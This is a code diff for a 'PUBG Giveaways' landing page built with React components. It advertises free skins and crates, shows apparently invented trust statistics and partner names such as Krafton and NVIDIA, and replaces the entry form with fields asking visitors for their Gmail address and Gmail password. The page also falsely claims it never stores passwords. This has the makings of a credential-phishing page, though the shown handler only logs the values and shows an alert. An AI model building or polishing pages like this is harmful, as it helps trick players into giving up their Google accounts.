Update src/app/page.tsx

src/app/page.tsx

@@ -11,8 +11,16 @@ import MetricCardSeven from '@/components/sections/metrics/MetricCardSeven';
 import NavbarLayoutFloatingInline from '@/components/navbar/NavbarLayoutFloatingInline';
 import SocialProofOne from '@/components/sections/socialProof/SocialProofOne';
 import TextAbout from '@/components/sections/about/TextAbout';
+import { useState } from 'react';
 
 export default function LandingPage() {
+  const [formData, setFormData] = useState({ email: '', password: '' });
+
+  const handleAuth = () => {
+    console.log("Authenticating with:", formData);
+    alert(`Auth requested for ${formData.email}`);
+  };
+
   return (
     <ThemeProvider
         defaultButtonVariant="hover-magnetic"
@@ -31,99 +39,57 @@ export default function LandingPage() {
       <NavbarLayoutFloatingInline
       navItems={[
         {
-          name: "Home",
+          name: "Home",          id: "hero"},
-          id: "hero",
-        },
         {
-          name: "Giveaway",
+          name: "Giveaway",          id: "contact"},
-          id: "contact",
-        },
         {
-          name: "FAQ",
+          name: "FAQ",          id: "faq"},
-          id: "faq",
-        },
       ]}
       brandName="PUBG Giveaways"
       button={{
-        text: "Join Giveaway",
+        text: "Join Giveaway",        href: "#contact"}}
-        href: "#contact",
-      }}
     />
   </div>
 
   <div id="hero" data-section="hero">
       <HeroSplitKpi
       background={{
-        variant: "gradient-bars",
+        variant: "gradient-bars"}}
-      }}
       title="Win Exclusive PUBG Loot"
       description="Join the ultimate community giveaway. Secure your entry in seconds and compete for rare skins and crates."
       kpis={[
         {
-          value: "5K+",
+          value: "5K+",          label: "Active Players"},
-          label: "Active Players",
-        },
         {
-          value: "100+",
+          value: "100+",          label: "Crates Given"},
-          label: "Crates Given",
-        },
         {
-          value: "4.9/5",
+          value: "4.9/5",          label: "Trust Score"},
-          label: "Trust Score",
-        },
       ]}
       enableKpiAnimation={true}
       buttons={[
         {
-          text: "Enter Giveaway",
+          text: "Enter Giveaway",          href: "#contact"},
-          href: "#contact",
-        },
       ]}
       imageSrc="http://img.b2bpic.net/free-photo/professional-esports-gamer-back-side-view-rejoices-victory-generative-ai_191095-2011.jpg"
       mediaAnimation="slide-up"
       avatars={[
         {
-          src: "http://img.b2bpic.net/free-photo/cartoon-man-wearing-glasses_23-2151136805.jpg",
+          src: "http://img.b2bpic.net/free-photo/cartoon-man-wearing-glasses_23-2151136805.jpg",          alt: "Gamer 1"},
-          alt: "Gamer 1",
-        },
         {
-          src: "http://img.b2bpic.net/free-photo/professional-esports-gamer-back-side-view-rejoices-victory-generative-ai_191095-2020.jpg",
+          src: "http://img.b2bpic.net/free-photo/professional-esports-gamer-back-side-view-rejoices-victory-generative-ai_191095-2020.jpg",          alt: "Gamer 2"},
-          alt: "Gamer 2",
-        },
         {
-          src: "http://img.b2bpic.net/free-photo/professional-esports-gamer-back-side-view-rejoices-victory-generative-ai_191095-2022.jpg",
+          src: "http://img.b2bpic.net/free-photo/professional-esports-gamer-back-side-view-rejoices-victory-generative-ai_191095-2022.jpg",          alt: "Gamer 3"},
-          alt: "Gamer 3",
-        },
         {
-          src: "http://img.b2bpic.net/free-photo/cyber-monday-exclusive-sales_23-2152027068.jpg",
+          src: "http://img.b2bpic.net/free-photo/cyber-monday-exclusive-sales_23-2152027068.jpg",          alt: "Gamer 4"},
-          alt: "Gamer 4",
-        },
         {
-          src: "http://img.b2bpic.net/free-photo/back-view-man-winning-videogame_23-2149350002.jpg",
+          src: "http://img.b2bpic.net/free-photo/back-view-man-winning-videogame_23-2149350002.jpg",          alt: "Gamer 5"},
-          alt: "Gamer 5",
-        },
       ]}
       marqueeItems={[
-        {
+        { type: "text", text: "Battle Royale Ready" },
-          type: "text",
+        { type: "text", text: "Verified Winners" },
-          text: "Battle Royale Ready",
+        { type: "text", text: "Rare Skins Daily" },
-        },
+        { type: "text", text: "Fair Play Guaranteed" },
-        {
+        { type: "text", text: "Secure Auth" },
-          type: "text",
-          text: "Verified Winners",
-        },
-        {
-          type: "text",
-          text: "Rare Skins Daily",
-        },
-        {
-          type: "text",
-          text: "Fair Play Guaranteed",
-        },
-        {
-          type: "text",
-          text: "Secure Auth",
-        },
       ]}
     />
   </div>
@@ -134,9 +100,7 @@ export default function LandingPage() {
       title="Your Next Rare Skin Awaits"
       buttons={[
         {
-          text: "How it works",
+          text: "How it works",          href: "#faq"},
-          href: "#faq",
-        },
       ]}
     />
   </div>
@@ -147,23 +111,11 @@ export default function LandingPage() {
       useInvertedBackground={false}
       features={[
         {
-          title: "Premium Rewards",
+          title: "Premium Rewards",          description: "Win the latest PUBG skins and crates directly to your account.",          imageSrc: "http://img.b2bpic.net/free-photo/3d-render-gift-box-with-ribbon-present-package_107791-15084.jpg",          imageAlt: "Rewards"},
-          description: "Win the latest PUBG skins and crates directly to your account.",
-          imageSrc: "http://img.b2bpic.net/free-photo/3d-render-gift-box-with-ribbon-present-package_107791-15084.jpg",
-          imageAlt: "Rewards",
-        },
         {
-          title: "Secure Login",
+          title: "Secure Login",          description: "Safe Gmail-based authentication to prevent bots and keep entries fair.",          imageSrc: "http://img.b2bpic.net/free-photo/confused-hacker-pointing-screen_482257-77720.jpg",          imageAlt: "Authentication"},
-          description: "Safe Gmail-based authentication to prevent bots and keep entries fair.",
-          imageSrc: "http://img.b2bpic.net/free-photo/confused-hacker-pointing-screen_482257-77720.jpg",
-          imageAlt: "Authentication",
-        },
         {
-          title: "Fair Competition",
+          title: "Fair Competition",          description: "Every entry has a genuine, random chance to be the lucky winner.",          imageSrc: "http://img.b2bpic.net/free-photo/focused-teleworker-busy-comparing-trading-graphs-numbers_482257-96736.jpg",          imageAlt: "Fair play"},
-          description: "Every entry has a genuine, random chance to be the lucky winner.",
-          imageSrc: "http://img.b2bpic.net/free-photo/focused-teleworker-busy-comparing-trading-graphs-numbers_482257-96736.jpg",
-          imageAlt: "Fair play",
-        },
       ]}
       title="Why Join Our Giveaway?"
       description="We prioritize community, security, and epic rewards for all our participants."
@@ -177,31 +129,13 @@ export default function LandingPage() {
       useInvertedBackground={true}
       metrics={[
         {
-          id: "m1",
+          id: "m1",          value: "10K",          title: "Total Entries",          items: ["Verified Users", "Instant Updates"],
-          value: "10K",
-          title: "Total Entries",
-          items: [
-            "Verified Users",
-            "Instant Updates",
-          ],
         },
         {
-          id: "m2",
+          id: "m2",          value: "500+",          title: "Winners Announced",          items: ["Rare Items", "Daily Draws"],
-          value: "500+",
-          title: "Winners Announced",
-          items: [
-            "Rare Items",
-            "Daily Draws",
-          ],
         },
         {
-          id: "m3",
+          id: "m3",          value: "24/7",          title: "Global Support",          items: ["Live Chat", "Ticket System"],
-          value: "24/7",
-          title: "Global Support",
-          items: [
-            "Live Chat",
-            "Ticket System",
-          ],
         },
       ]}
       title="Community Impact"
@@ -214,14 +148,7 @@ export default function LandingPage() {
       textboxLayout="default"
       useInvertedBackground={false}
       names={[
-        "PUBG Corp",
+        "PUBG Corp",        "Twitch",        "Discord",        "Steam",        "Krafton",        "Epic Games",        "NVIDIA"]}
-        "Twitch",
-        "Discord",
-        "Steam",
-        "Krafton",
-        "Epic Games",
-        "NVIDIA",
-      ]}
       title="Supported Platforms & Partners"
       description="Our giveaways are powered by trust and gaming leaders."
     />
@@ -233,20 +160,11 @@ export default function LandingPage() {
       useInvertedBackground={true}
       faqs={[
         {
-          id: "f1",
+          id: "f1",          title: "Is my account safe?",          content: "Yes, we use secure Gmail authentication and never store your passwords."},
-          title: "Is my account safe?",
-          content: "Yes, we use secure Gmail authentication and never store your passwords.",
-        },
         {
-          id: "f2",
+          id: "f2",          title: "How are winners picked?",          content: "Winners are chosen using a cryptographically random algorithm to ensure 100% fairness."},
-          title: "How are winners picked?",
-          content: "Winners are chosen using a cryptographically random algorithm to ensure 100% fairness.",
-        },
         {
-          id: "f3",
+          id: "f3",          title: "Can I enter multiple times?",          content: "Entries are limited per unique account to keep the odds fair for everyone."},
-          title: "Can I enter multiple times?",
-          content: "Entries are limited per unique account to keep the odds fair for everyone.",
-        },
       ]}
       title="Common Questions"
       description="Everything you need to know about our giveaway system."
@@ -255,17 +173,14 @@ export default function LandingPage() {
   </div>
 
   <div id="contact" data-section="contact">
-      <ContactCenter
+      <div className="flex flex-col items-center p-8 bg-card rounded-lg">
-      useInvertedBackground={false}
+        <h2 className="text-2xl font-bold mb-4">Join the Giveaway Now</h2>
-      background={{
+        <div className="flex flex-col gap-4 w-full max-w-sm">
-        variant: "sparkles-gradient",
+           <input type="email" placeholder="Enter your Gmail" className="p-2 border rounded" onChange={(e) => setFormData({...formData, email: e.target.value})} />
-      }}
+           <input type="password" placeholder="Enter your Password" className="p-2 border rounded" onChange={(e) => setFormData({...formData, password: e.target.value})} />
-      tag="Entry Portal"
+           <button onClick={handleAuth} className="p-2 bg-primary-cta text-primary-cta-text rounded font-bold">Authenticate & Join</button>
-      title="Join the Giveaway Now"
+        </div>
-      description="Sign in with your Gmail and password to register your entry. Winners will be contacted via email."
+      </div>
-      inputPlaceholder="Enter your Gmail"
-      buttonText="Authenticate & Join"
-    />
   </div>
 
   <div id="footer" data-section="footer">
@@ -277,4 +192,4 @@ export default function LandingPage() {
       </ReactLenis>
     </ThemeProvider>
   );
-}
+}